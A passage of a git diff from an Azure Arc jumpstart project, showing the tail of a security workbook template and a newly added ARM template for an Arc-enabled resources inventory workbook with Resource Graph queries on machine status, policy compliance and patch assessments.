Type\"]\n| extend osType = case(isnotempty(osTypeProperty), osTypeProperty, \"\")\n| extend hasAgent = case(assessmentKey == \"d1db3318-01ff-16de-29eb-28b344515626\" or assessmentKey == \"45cfe080-ceb1-a91e-9743-71551ed24e94\" or assessmentKey == \"720a3e77-0b9a-4fa9-98b6-ddf0fd7e32c1\" or assessmentKey == \"27ac71b1-75c5-41c2-adc2-858f5db45b08\", assessmentStatusCode, \"\")\n| extend hasAgent = case(assessmentKey == \"4ab6e3c5-74dd-8b35-9ab9-f61b30875b27\" or assessmentKey == \"181ac480-f7c4-544b-9865-11b8ffe87f47\" or assessmentKey == \"4fb67663-9ab9-475d-b026-8c544cced439\" , \"healthy\", hasAgent)\n| extend workspaceAzureResourceId = case(hasAgent !~ \"\", properties.additionalData[\"Reporting workspace azure id\"], \"\")\n| extend workspaceName = case(workspaceAzureResourceId !~ \"\", extract(@\"(.+)/(.+)\", 2, workspaceAzureResourceId), \"\")\n| extend assessmentDisplayName = case(type =~ \"microsoft.security/assessments\", case(isnotempty(properties.displayName), properties.displayName, properties.metadata.displayName), \"\")\n| extend assessmentIdentifier = case(type =~ \"microsoft.security/assessments\", strcat(assessmentKey, \",\" , assessmentDisplayName, \",\", severity), \"\")\n| summarize assessmentsCount = count() , assessmentsIdentifier = make_list(assessmentIdentifier), softwareNamesIdentifier = make_list(softwareNameIdentifier), hasAgent = max(hasAgent), workspaceName = max(workspaceName), environment = max(environment), osType = max(osType), exemptionType = max(exemptionType) by resourceId, subscriptionId, resourceName, resourceType, typeFullPath, severity\n| extend packAssessments = pack(severity, assessmentsCount)\n| summarize assessmentsSummary = make_bag(packAssessments), assessmentsIdentifier = make_set(assessmentsIdentifier), softwareNamesIdentifier = make_set(softwareNamesIdentifier), hasAgent = max(hasAgent), workspaceName= max(workspaceName), environment = max(environment), osType= max(osType), exemptionType = max(exemptionType) by resourceId, subscriptionId, resourceName, resourceType, typeFullPath\n| extend agentMonitoring = case(hasAgent =~ \"NotApplicable\" or hasAgent =~ \"\", '',\n hasAgent =~ \"Unhealthy\", \"notInstalled\",\n \"installed\")\n| join kind=leftouter (\n securityresources\n | where type =~ \"microsoft.security/pricings\"\n | project subscriptionId, bundleName = tolower(name), freeTrialRemainingTime = properties.freeTrialRemainingTime, pricingTier = tolower(properties.pricingTier)\n | extend bundlesPricing = pack(bundleName, pricingTier)\n | summarize subscriptionPricing = make_bag(bundlesPricing) by subscriptionId\n ) on subscriptionId\n| extend hasNoSoftwareData = case(array_length(softwareNamesIdentifier) == 1, case(set_has_element(softwareNamesIdentifier, \"\"), true, false), false)\n| extend softwareNamesIdentifier = case(hasNoSoftwareData, softwareNamesIdentifier, set_difference(softwareNamesIdentifier, pack_array(\"\")))\n| extend AssessmentsHigh = case(isnull(assessmentsSummary.high), 0 , toint(assessmentsSummary.high))\n| extend AssessmentsMedium = case(isnull(assessmentsSummary.medium), 0 , toint(assessmentsSummary.medium))\n| extend AssessmentsLow = case(isnull(assessmentsSummary.low), 0 , toint(assessmentsSummary.low))\n| extend unhealthyAssessmentsCount = AssessmentsHigh + AssessmentsMedium + AssessmentsLow\n| extend virtualmachines = case(isnull(subscriptionPricing), '' , subscriptionPricing.virtualmachines)\n| extend virtualmachines = case(virtualmachines == 'free', 'off', 'on')\n| extend sqlservers = case(isnull(subscriptionPricing), '' , subscriptionPricing.sqlservers)\n| extend sqlservers = case(sqlservers == 'free', 'off', 'on')\n| extend kubernetesservice = case(isnull(subscriptionPricing), '' , subscriptionPricing.kubernetesservice)\n| extend kubernetesservice = case(kubernetesservice == 'free', 'off', 'on')\n| extend containerregistry = case(isnull(subscriptionPricing), '' , subscriptionPricing.containerregistry)\n| extend containerregistry = case(containerregistry == 'free', 'off', 'on')\n| extend connectedcontainerregistry = case(isnull(subscriptionPricing), '' , subscriptionPricing.connectedcontainerregistry)\n| extend connectedcontainerregistry = case(connectedcontainerregistry == 'free', 'off', 'on')\n| extend sqlservervirtualmachines = case(isnull(subscriptionPricing), '' , subscriptionPricing.sqlservervirtualmachines)\n| extend sqlservervirtualmachines = case(sqlservervirtualmachines == 'free', 'off', 'on')\n| extend appservices = case(isnull(subscriptionPricing), '' , subscriptionPricing.appservices)\n| extend appservices = case(appservices == 'free', 'off', 'on')\n| extend storageaccounts = case(isnull(subscriptionPricing), '' , subscriptionPricing.storageaccounts)\n| extend storageaccounts = case(storageaccounts == 'free', 'off', 'on')\n| extend keyvaults = case(isnull(subscriptionPricing), '' , subscriptionPricing.keyvaults)\n| extend keyvaults = case(keyvaults == 'free', 'off', 'on')\n| extend opensourcerelationaldatabases = case(isnull(subscriptionPricing), '' , subscriptionPricing.opensourcerelationaldatabases)\n| extend opensourcerelationaldatabases = case(opensourcerelationaldatabases == 'free', 'off', 'on')\n| extend calculatedSubscriptionPricing = case(resourceType =~ \"subscription\" and isempty(subscriptionPricing) == false , iff(subscriptionPricing has \"free\" and subscriptionPricing has \"standard\", \"partial\", iff(subscriptionPricing has \"free\", \"off\", \"on\")), \"\")\n| extend resourcePricing = case(typeFullPath =~ \"microsoft.classiccompute/virtualmachines\", virtualmachines, typeFullPath =~ \"microsoft.compute/virtualmachines\", virtualmachines, typeFullPath =~ \"microsoft.hybridcompute/machines\", virtualmachines, typeFullPath =~ \"microsoft.sql/servers\", sqlservers, typeFullPath =~ \"microsoft.containerservice/managedclusters\", kubernetesservice, typeFullPath =~ \"microsoft.kubernetes/connectedclusters\", kubernetesservice, typeFullPath =~ \"microsoft.containerregistry/registries\", containerregistry, typeFullPath =~ \"microsoft.security/connectedcontainerregistries\", connectedcontainerregistry, typeFullPath =~ \"microsoft.sqlvirtualmachine/sqlvirtualmachines\", sqlservervirtualmachines, typeFullPath =~ \"microsoft.web/sites\", appservices, typeFullPath =~ \"microsoft.storage/storageaccounts\", storageaccounts, typeFullPath =~ \"microsoft.compute/virtualmachinescalesets\", virtualmachines, typeFullPath =~ \"microsoft.keyvault/vaults\", keyvaults, typeFullPath =~ \"microsoft.dbforpostgresql/servers\", opensourcerelationaldatabases, typeFullPath =~ \"microsoft.dbformysql/servers\", opensourcerelationaldatabases, typeFullPath =~ \"microsoft.dbformariadb/servers\", opensourcerelationaldatabases, calculatedSubscriptionPricing)\n| extend pricing = case(resourceType =~ \"subscription\" , calculatedSubscriptionPricing , resourcePricing)\n| extend selectedSoftware = \"\"\n| project resourceType, exemptionType, typeFullPath, resourceId, resourceName, subscriptionId, agentMonitoring, assessmentsIdentifier, assessmentsSummary, subscriptionPricing, unhealthyAssessmentsCount, pricing, softwareNamesIdentifier, selectedSoftware\n| extend resourceGroup = tolower(tostring(split(resourceId, \"/\")[4]))\n| order by unhealthyAssessmentsCount, subscriptionId, resourceType, resourceId\n| where typeFullPath in ('microsoft.hybridcompute/machines')\n| where isnotempty(resourceId)", - "size": 3, - "showAnalytics": true, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "crossComponentResources": [ - "value::all" - ], - "visualization": "table", - "showExpandCollapseGrid": true, - "gridSettings": { - "formatters": [ - { - "columnMatch": "resourceType", - "formatter": 5 - }, - { - "columnMatch": "exemptionType", - "formatter": 5 - }, - { - "columnMatch": "typeFullPath", - "formatter": 5 - }, - { - "columnMatch": "resourceName", - "formatter": 5 - }, - { - "columnMatch": "agentMonitoring", - "formatter": 18, - "formatOptions": { - "thresholdsOptions": "icons", - "thresholdsGrid": [ - { - "operator": "==", - "thresholdValue": "installed", - "representation": "success", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "Unhealthy", - "representation": "2", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "NotApplicable", - "representation": "cancelled", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "notInstalled", - "representation": "disabled", - "text": "{0}{1}" - }, - { - "operator": "==", - "text": "{0}{1}" - }, - { - "operator": "Default", - "thresholdValue": null, - "representation": "Disable", - "text": "{0}{1}" - } - ] - } - }, - { - "columnMatch": "assessmentsIdentifier", - "formatter": 5 - }, - { - "columnMatch": "assessmentsSummary", - "formatter": 5 - }, - { - "columnMatch": "subscriptionPricing", - "formatter": 5 - }, - { - "columnMatch": "unhealthyAssessmentsCount", - "formatter": 3, - "formatOptions": { - "min": 0, - "max": 15, - "palette": "greenRed" - } - }, - { - "columnMatch": "pricing", - "formatter": 18, - "formatOptions": { - "thresholdsOptions": "icons", - "thresholdsGrid": [ - { - "operator": "==", - "thresholdValue": "on", - "representation": "success", - "text": "{0}{1}" - }, - { - "operator": "==", - "text": "{0}{1}" - }, - { - "operator": "==", - "thresholdValue": "off", - "representation": "disabled", - "text": "{0}{1}" - }, - { - "operator": "Default", - "thresholdValue": null, - "representation": "disabled", - "text": "{0}{1}" - } - ] - } - }, - { - "columnMatch": "softwareNamesIdentifier", - "formatter": 5 - }, - { - "columnMatch": "selectedSoftware", - "formatter": 5 - }, - { - "columnMatch": "resourceGroup", - "formatter": 5 - } - ], - "rowLimit": 1000, - "filter": true, - "sortBy": [ - { - "itemKey": "$gen_link_resourceId_3", - "sortOrder": 2 - } - ], - "labelSettings": [ - { - "columnId": "exemptionType", - "label": "Resource Exemption exists" - }, - { - "columnId": "resourceId", - "label": "Resource ID" - }, - { - "columnId": "subscriptionId", - "label": "Subscription ID" - }, - { - "columnId": "agentMonitoring", - "label": "Log Analytics agent status" - }, - { - "columnId": "unhealthyAssessmentsCount", - "label": "Open Recommendations" - }, - { - "columnId": "pricing", - "label": "Azure Defender status" - } - ] - }, - "sortBy": [ - { - "itemKey": "$gen_link_resourceId_3", - "sortOrder": 2 - } - ] - }, - "name": "query - 0", - "styleSettings": { - "showBorder": true - } - } - ] - }, - "conditionalVisibility": { - "parameterName": "SelectedTab", - "comparison": "isEqualTo", - "value": "SecurityTab" - }, - "name": "protectionStatus", - "styleSettings": { - "showBorder": true - } - } - ] - }, - "conditionalVisibility": { - "parameterName": "selectedTab", - "comparison": "isEqualTo", - "value": "Security" - }, - "name": "Security" - } - ], - "isLocked": false, - "fallbackResourceIds": [ - "workbookresourceid-stage" - ] - } - }, - "resources": [ - { - "name": "[parameters('workbookId')]", - "type": "microsoft.insights/workbooks", - "location": "[resourceGroup().location]", - "apiVersion": "2021-03-08", - "dependsOn": [], - "kind": "shared", - "properties": { - "displayName": "[parameters('workbookDisplayName')]", - "serializedData": "[string(variables('workbookContent'))]", - "version": "1.0", - "sourceId": "[parameters('workbookResourceId')]", - "category": "[parameters('workbookType')]" - } - } - ], - "outputs": { - "workbookId": { - "type": "string", - "value": "[resourceId( 'microsoft.insights/workbooks', parameters('workbookId'))]" - } - }, - "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#" -} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/monitoring/arc-inventory-workbook.json b/azure_jumpstart_arcbox/artifacts/monitoring/arc-inventory-workbook.json new file mode 100644 index 0000000000..ace37aeadb --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/monitoring/arc-inventory-workbook.json @@ -0,0 +1,57 @@ +{ + "contentVersion": "1.0.0.0", + "parameters": { + "workbookDisplayName": { + "type": "string", + "defaultValue": "Azure Arc-enabled resources inventory", + "metadata": { + "description": "The friendly name for the workbook that is used in the Gallery or Saved List. This name must be unique within a resource group." + } + }, + "workbookType": { + "type": "string", + "defaultValue": "workbook", + "metadata": { + "description": "The gallery that the workbook will been shown under. Supported values include workbook, tsg, etc. Usually, this is 'workbook'" + } + }, + "workbookSourceId": { + "type": "string", + "defaultValue": "azure monitor", + "metadata": { + "description": "The id of resource instance to which the workbook will be associated" + } + }, + "workbookId": { + "type": "string", + "defaultValue": "[newGuid()]", + "metadata": { + "description": "The unique guid for this workbook instance" + } + } + }, + "resources": [ + { + "name": "[parameters('workbookId')]", + "type": "microsoft.insights/workbooks", + "location": "[resourceGroup().location]", + "apiVersion": "2022-04-01", + "dependsOn": [], + "kind": "shared", + "properties": { + "displayName": "[parameters('workbookDisplayName')]", + "serializedData": "{\"version\":\"Notebook/1.0\",\"items\":[{\"type\":9,\"content\":{\"version\":\"KqlParameterItem/1.0\",\"parameters\":[{\"id\":\"d8a4990e-5fd5-4c61-92a2-d07d04736a00\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"Subscription\",\"type\":6,\"isRequired\":true,\"typeSettings\":{\"additionalResourceOptions\":[],\"includeAll\":false},\"timeContext\":{\"durationMs\":86400000},\"value\":\"/subscriptions/00000000-0000-0000-0000-000000000000\"},{\"id\":\"b616a3a3-4271-4208-b1a9-a92a78efed08\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"ResourceGroup\",\"label\":\"Resource group\",\"type\":2,\"isRequired\":true,\"query\":\"resourcecontainers \\r\\n| where type =~ 'microsoft.resources/subscriptions/resourcegroups' \\r\\n| project name\",\"crossComponentResources\":[\"{Subscription}\"],\"typeSettings\":{\"additionalResourceOptions\":[],\"showDefault\":false},\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"value\":\"rg-placeholder\"},{\"id\":\"05578175-fbe8-4dd2-9c6a-dec2f503d6cf\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"Location\",\"type\":8,\"isRequired\":true,\"multiSelect\":true,\"quote\":\"'\",\"delimiter\":\",\",\"value\":[\"value::all\"],\"typeSettings\":{\"additionalResourceOptions\":[\"value::all\"],\"includeAll\":true},\"defaultValue\":\"value::all\"},{\"id\":\"3f095357-8b61-4bd5-bb16-bb03da10f44c\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"ResourceType\",\"type\":7,\"isRequired\":true,\"multiSelect\":true,\"quote\":\"'\",\"delimiter\":\",\",\"value\":[\"microsoft.hybridcompute/machines\",\"microsoft.compute/virtualmachines\"],\"typeSettings\":{\"additionalResourceOptions\":[],\"showDefault\":false},\"jsonData\":\" [\\r\\n { \\\"value\\\": \\\"microsoft.compute/virtualmachines\\\", \\\"label\\\": \\\"Azure Virtual Machine\\\", \\\"selected\\\":true}, \\r\\n \\r\\n { \\\"value\\\": \\\"microsoft.hybridcompute/machines\\\", \\\"label\\\": \\\"Arc enabled server\\\", \\\"selected\\\":true }]\"}],\"style\":\"pills\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\"},\"name\":\"parameters - 4\"},{\"type\":1,\"content\":{\"json\":\"# Azure Arc-enabled resources inventory\\n\"},\"name\":\"text - 1\"},{\"type\":12,\"content\":{\"version\":\"NotebookGroup/1.0\",\"groupType\":\"editable\",\"title\":\"Machines overall status & configurations\",\"expandable\":true,\"expanded\":true,\"items\":[{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources \\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| extend osType = coalesce(tostring(properties.osName), tostring(properties.osType), tostring(properties.storageProfile.osDisk.osType))\\r\\n| summarize\\r\\nazureLinux = countif(type =~ \\\"microsoft.compute/virtualmachines\\\" and osType =~ \\\"Linux\\\"),\\r\\narcLinux = countif(type =~ \\\"microsoft.hybridcompute/machines\\\" and osType =~ \\\"Linux\\\"),\\r\\nazureWindows = countif(type =~ \\\"microsoft.compute/virtualmachines\\\" and osType =~ \\\"Windows\\\"),\\r\\narcWindows = countif(type =~ \\\"microsoft.hybridcompute/machines\\\" and osType =~ \\\"Windows\\\")\\r\\n| project machinePack = pack(\\\"Azure virtual machines-Linux\\\", azureLinux, \\\"Arc enabled servers-Linux\\\", arcLinux, \\\"Azure virtual machines-Windows\\\", azureWindows, \\\"Arc enabled servers-Windows\\\", arcWindows)\\r\\n| mv-expand machinePack\\r\\n| extend machine = tostring(bag_keys(machinePack)[0])\\r\\n| extend count_ = tolong(machinePack[machine])\\r\\n| project machine, count_ \",\"size\":3,\"title\":\"Total machines\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"piechart\",\"tileSettings\":{\"showBorder\":false},\"graphSettings\":{\"type\":0},\"mapSettings\":{\"locInfo\":\"LatLong\",\"sizeSettings\":\"azureLinux\",\"sizeAggregation\":\"Sum\",\"legendMetric\":\"azureLinux\",\"legendAggregation\":\"Sum\",\"itemColorSettings\":{\"type\":\"heatmap\",\"colorAggregation\":\"Sum\",\"nodeColorField\":\"azureLinux\",\"heatmapPalette\":\"greenRed\"}}},\"customWidth\":\"50\",\"name\":\"query - 0\",\"styleSettings\":{\"maxWidth\":\"50%\"}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| where type in~ ({ResourceType})\\r\\n| where location in~ ({Location})\\r\\n| extend statuso = iff(isnull(properties.extended.instanceView.powerState.displayStatus), (properties.status), (properties.extended.instanceView.powerState.displayStatus))\\r\\n| where isnotnull(statuso)\\r\\n| summarize count() by tostring(statuso)\",\"size\":0,\"title\":\"Status of machines\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"tiles\",\"tileSettings\":{\"titleContent\":{\"columnMatch\":\"statuso\",\"formatter\":1},\"leftContent\":{\"columnMatch\":\"count_\",\"formatter\":12,\"formatOptions\":{\"palette\":\"auto\"},\"numberFormat\":{\"unit\":17,\"options\":{\"maximumSignificantDigits\":3,\"maximumFractionDigits\":2}}},\"showBorder\":false,\"sortCriteriaField\":\"statuso\",\"sortOrderField\":2}},\"customWidth\":\"50\",\"name\":\"query - 7\",\"styleSettings\":{\"maxWidth\":\"50%\"}}]},\"name\":\"confGroup\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| where type =~ 'microsoft.hybridcompute/machines'\\r\\n| extend id = tolower(id)\\r\\n| join(policyresources\\r\\n| extend ComplianceState = tostring(properties['complianceState'])\\r\\n| extend id = tolower(properties['resourceId'])) on id\\r\\n| summarize compliantCount = countif(ComplianceState == \\\"Compliant\\\"), nonCompliantCount = countif(ComplianceState == \\\"NonCompliant\\\") by name, type, id\\r\\n| project id, name, type, compliantCount, nonCompliantCount\\r\\n| sort by name asc\\r\\n| join (\\r\\nresources\\r\\n| where resourceGroup =~ '{ResourceGroup}'\\r\\n| where type =~ 'microsoft.hybridcompute/machines'\\r\\n| extend id = tolower(id)\\r\\n| extend state = properties.status\\r\\n| extend status = case(\\r\\n state =~ 'Connected', 'Connected',\\r\\n state =~ 'Disconnected', 'Offline',\\r\\n state =~ 'Error', 'Error',\\r\\n state =~ 'Expired', 'Expired',\\r\\n '')\\r\\n| extend agentVersion = properties.agentVersion\\r\\n| extend Application = tags.Application\\r\\n| extend operatingSystem = properties.osSku\\r\\n| extend resourceGroup = strcat(\\\"/subscriptions/\\\", subscriptionId, \\\"/resourceGroups/\\\", resourceGroup)\\r\\n| extend majorVersion = tostring(split(agentVersion, '.')[0])\\r\\n| extend minorVersion = tostring(split(agentVersion, '.')[1])\\r\\n| extend agentVersion = strcat(majorVersion, '.', minorVersion)\\r\\n| project id, status, agentVersion, operatingSystem, location, Application) on id\\r\\n| project id, status, agentVersion, operatingSystem, location, Application, CompliantPolicies=compliantCount, NonCompliantPolicies=nonCompliantCount\\r\\n\",\"size\":1,\"title\":\"Azure Arc-enabled servers inventory\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"value::all\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Connected\",\"representation\":\"success\",\"text\":\"{0}{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"warning\",\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"CompliantPolicies\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"success\",\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"NonCompliantPolicies\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"3\",\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"resourceGroup\",\"formatter\":14,\"formatOptions\":{\"linkTarget\":null,\"showIcon\":true}},{\"columnMatch\":\"subscriptionId\",\"formatter\":15,\"formatOptions\":{\"linkTarget\":null,\"showIcon\":true}}]}},\"name\":\"query - 0\"},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| where type =~ 'microsoft.kubernetes/connectedclusters'\\r\\n| extend id = tolower(id)\\r\\n| join(policyresources\\r\\n| extend ComplianceState = tostring(properties['complianceState'])\\r\\n| extend id = tolower(properties['resourceId'])) on id\\r\\n| summarize compliantCount = countif(ComplianceState == \\\"Compliant\\\"), nonCompliantCount = countif(ComplianceState == \\\"NonCompliant\\\") by name, type, id\\r\\n| project id, name, type, compliantCount, nonCompliantCount\\r\\n| sort by name asc\\r\\n| join (\\r\\nresources\\r\\n| where resourceGroup =~ '{ResourceGroup}'\\r\\n| where type =~ 'microsoft.kubernetes/connectedclusters'\\r\\n| extend id = tolower(id)\\r\\n| extend state = properties.connectivityStatus\\r\\n| extend status = case(\\r\\n state =~ 'Connected', 'Connected',\\r\\n state =~ 'Disconnected', 'Offline',\\r\\n state =~ 'Error', 'Error',\\r\\n state =~ 'Expired', 'Expired',\\r\\n '')\\r\\n| extend resourceGroup = strcat(\\\"/subscriptions/\\\", subscriptionId, \\\"/resourceGroups/\\\", resourceGroup)\\r\\n| extend kubernetesVersion = properties.kubernetesVersion\\r\\n| project id, status, kubernetesVersion) on id\\r\\n| project id, status,kubernetesVersion,CompliantPolicies=compliantCount, NonCompliantPolicies=nonCompliantCount\\r\\n\\r\\n\\r\\n\",\"size\":1,\"title\":\"Azure Arc-enabled Kubernetes clusters inventory\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"value::all\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"status\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"Connected\",\"representation\":\"success\",\"text\":\"{0}{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"warning\",\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"CompliantPolicies\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"success\",\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"NonCompliantPolicies\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"3\",\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"resourceGroup\",\"formatter\":14,\"formatOptions\":{\"linkTarget\":null,\"showIcon\":true}},{\"columnMatch\":\"subscriptionId\",\"formatter\":15,\"formatOptions\":{\"linkTarget\":null,\"showIcon\":true}}]}},\"name\":\"query - 0 - Copy\"},{\"type\":12,\"content\":{\"version\":\"NotebookGroup/1.0\",\"groupType\":\"editable\",\"title\":\"Updates Data Overview\",\"expandable\":true,\"expanded\":true,\"items\":[{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"\\r\\n(resources //join of virtual machines, you can play with params as you see fit.\\r\\n| where type in~ ({ResourceType}\\r\\n)\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| where location in ({Location})\\r\\n| extend os = iff(type =~ \\\"microsoft.compute/virtualmachines\\\", tolower(tostring(properties.storageProfile.osDisk.osType)), tolower(coalesce(tostring(properties.osName), tostring(properties.osType))))\\r\\n| extend id=tolower(id)\\r\\n| extend status=iff(type =~ \\\"microsoft.compute/virtualmachines\\\", properties.extended.instanceView.powerState.displayStatus, properties.status)\\r\\n| project id, name, os, status, resourceProperties=properties)\\r\\n| join kind=leftouter //finally, making a left outer join to fetch updates details from patchassessment\\r\\n((patchassessmentresources\\r\\n| where type in~ (\\\"microsoft.compute/virtualmachines/patchassessmentresults\\\", \\\"microsoft.hybridcompute/machines/patchassessmentresults\\\")\\r\\n| where location in ({Location})\\r\\n| where properties.status == \\\"Succeeded\\\"\\r\\n| parse id with resourceId \\\"/patchAssessmentResults\\\" *\\r\\n| extend resourceId=tolower(resourceId)\\r\\n| project resourceId, assessProperties=properties))\\r\\non $left.id == $right.resourceId //join on resources id & patchassessment id that is parsed.\\r\\n| summarize\\r\\ntotal = countif(1 == 1),\\r\\nnodata = countif(isnull(assessProperties) == true),\\r\\npendingReboot = countif(isnotnull(assessProperties) and assessProperties.rebootPending == \\\"true\\\"),\\r\\n//pendingUpdates - when any classification has > 0 updates\\r\\npendingUpdatesWindows = countif(isnotnull(assessProperties) and assessProperties.osType =~ \\\"Windows\\\" and (assessProperties.availablePatchCountByClassification.critical>0 or assessProperties.availablePatchCountByClassification.security>0 or assessProperties.availablePatchCountByClassification.updateRollup>0 or assessProperties.availablePatchCountByClassification.featurePack>0 or assessProperties.availablePatchCountByClassification.servicePack>0 or assessProperties.availablePatchCountByClassification.definition>0 or assessProperties.availablePatchCountByClassification.tools>0 or assessProperties.availablePatchCountByClassification.updates>0)),\\r\\npendingUpdatesLinux = countif(isnotnull(assessProperties) and assessProperties.osType =~ \\\"Linux\\\" and (assessProperties.availablePatchCountByClassification.security>0 or assessProperties.availablePatchCountByClassification.other>0)),\\r\\n//noPendingUpdates - when all classifications has 0 updates\\r\\nnoPendingUpdatesWindows = countif(isnotnull(assessProperties) and assessProperties.osType =~ \\\"Windows\\\" and (assessProperties.availablePatchCountByClassification.critical==0 and assessProperties.availablePatchCountByClassification.security==0 and assessProperties.availablePatchCountByClassification.updateRollup==0 and assessProperties.availablePatchCountByClassification.featurePack==0 and assessProperties.availablePatchCountByClassification.servicePack==0 and assessProperties.availablePatchCountByClassification.definition==0 and assessProperties.availablePatchCountByClassification.tools==0 and assessProperties.availablePatchCountByClassification.updates==0)),\\r\\nnoPendingUpdatesLinux = countif(isnotnull(assessProperties) and assessProperties.osType =~ \\\"Linux\\\" and (assessProperties.availablePatchCountByClassification.security==0 and assessProperties.availablePatchCountByClassification.other==0))\\r\\n| project machinePack = pack(\\\"No updates available - Linux\\\", noPendingUpdatesLinux, \\\"No updates available - Windows\\\", noPendingUpdatesWindows, \\\"Updates available - Linux\\\", pendingUpdatesLinux, \\\"Updates available - Windows\\\", pendingUpdatesWindows, \\\"Reboot required\\\", pendingReboot, \\\"No updates data\\\", nodata, \\\"Total machines\\\", total)\\r\\n| mv-expand machinePack\\r\\n| extend machine = tostring(bag_keys(machinePack)[0])\\r\\n| extend count_ = tolong(machinePack[machine])\\r\\n| project machine, count_ \\r\\n\",\"size\":4,\"title\":\"Updates status of machines\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"tiles\",\"tileSettings\":{\"titleContent\":{\"columnMatch\":\"machine\",\"formatter\":1},\"leftContent\":{\"columnMatch\":\"count_\",\"formatter\":12,\"formatOptions\":{\"palette\":\"auto\"},\"numberFormat\":{\"unit\":17,\"options\":{\"maximumSignificantDigits\":3,\"maximumFractionDigits\":2}}},\"showBorder\":false,\"sortCriteriaField\":\"count_\",\"sortOrderField\":2,\"size\":\"auto\"},\"graphSettings\":{\"type\":0,\"topContent\":{\"columnMatch\":\"machine\",\"formatter\":1},\"centerContent\":{\"columnMatch\":\"count_\",\"formatter\":1,\"numberFormat\":{\"unit\":17,\"options\":{\"maximumSignificantDigits\":3,\"maximumFractionDigits\":2}}}},\"mapSettings\":{\"locInfo\":\"LatLong\",\"sizeSettings\":\"count_\",\"sizeAggregation\":\"Sum\",\"legendMetric\":\"count_\",\"legendAggregation\":\"Sum\",\"itemColorSettings\":{\"type\":\"heatmap\",\"colorAggregation\":\"Sum\",\"nodeColorField\":\"count_\",\"heatmapPalette\":\"greenRed\"}}},\"name\":\"query - 5\"},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where type in~ ({ResourceType})\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| extend joinId = tolower(id)\\r\\n| project joinId\\r\\n| join kind=leftouter\\r\\n(\\r\\npatchassessmentresources\\r\\n| where type in~ (\\\"microsoft.compute/virtualmachines/patchassessmentresults\\\", \\\"microsoft.hybridcompute/machines/patchassessmentresults\\\")\\r\\n| extend assessment = properties.availablePatchCountByClassification\\r\\n| where isnotnull(assessment)\\r\\n| parse id with resourceId \\\"/patchAssessmentResults\\\" *\\r\\n| extend joinId=tolower(resourceId)\\r\\n) on $left.joinId == $right.joinId\\r\\n| summarize\\r\\ntotal = 0,\\r\\nsecurityWindowsUpdates = sumif(toint(assessment.security), (isnotnull(properties) and properties.osType =~ \\\"Windows\\\" and (assessment.security>0))),\\r\\ncriticalWindowsUpdates = sumif(toint(assessment.critical), (isnotnull(properties) and properties.osType =~ \\\"Windows\\\" and (assessment.critical>0))),\\r\\nsecurityLinuxUpdates = 